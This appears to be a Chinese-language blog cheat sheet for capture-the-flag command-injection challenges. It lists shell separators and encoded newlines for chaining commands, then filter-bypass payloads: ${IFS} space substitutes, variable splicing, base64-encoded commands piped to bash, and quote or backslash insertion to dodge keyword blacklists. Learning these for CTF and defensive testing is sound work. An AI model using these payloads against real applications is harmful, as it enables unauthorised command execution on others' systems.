CTF命令执行与绕过
CTF命令执行与绕过
一、linux 常用符号
1.管道符
多命令执行符 | 格式 | 作用 |
---|---|---|
; | 命令1;命令2 | 多个命令顺序执行,命令之间无任何逻辑关系 |
&& | 命令1&&命令2 | 逻辑与:当命令1正确执行后,命令2才会正确执行,否则命令2不会执行 |
|| | 命令1 | 逻辑或:当命令1不正确执行后,命令2才会正确执行,否则命令2不会执行 |
2.通配符
3.Bash中其他特殊符号
4.其他一些常用符号
符号 | 作用 |
---|---|
%0a | 换行符 |
%0d | 回车符 |
| | 将前一个命令的输出作为后一个命令的输入 |
&& | 前一个命令执行成功才会执行下一条命令 |
|| | 前一个命令执行失败才会执行下一条命令 |
& | 表示将前一个命令设置进入后台 |
二、绕过
1.空格绕过
${IFS}
{IFS}$9
$IFS$9
重定向符:<>(但是不支持后面跟通配符)
水平制表符%09
2.黑名单绕过
1.变量拼接:
a=c;b=at;c=flag;$a$b $c
2.利用已存在的资源:
从已有的文件或者环境变量中获得相应的字符。
3.base64编码绕过:
使用反引号包含base64解码后的命令
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d
将base64解码后的命令通过管道符传递给bash
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
4.单引号,双引号
单引号:
ca''t fla''g.php
双引号:
ca""t fla""g.php
5.反斜杠
ca\t fla\g.php
6.$1
ca$1t fl$1ag.p$1hp
三、LINUX下一些已有字符
- ${PS2} 对应字符 ‘>’
- ${PS4} 对应字符 ‘+’
- ${IFS} 对应 内部字段分隔符
- ${9} 对应 空字符串
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 FakerCsr's Magic Box!
评论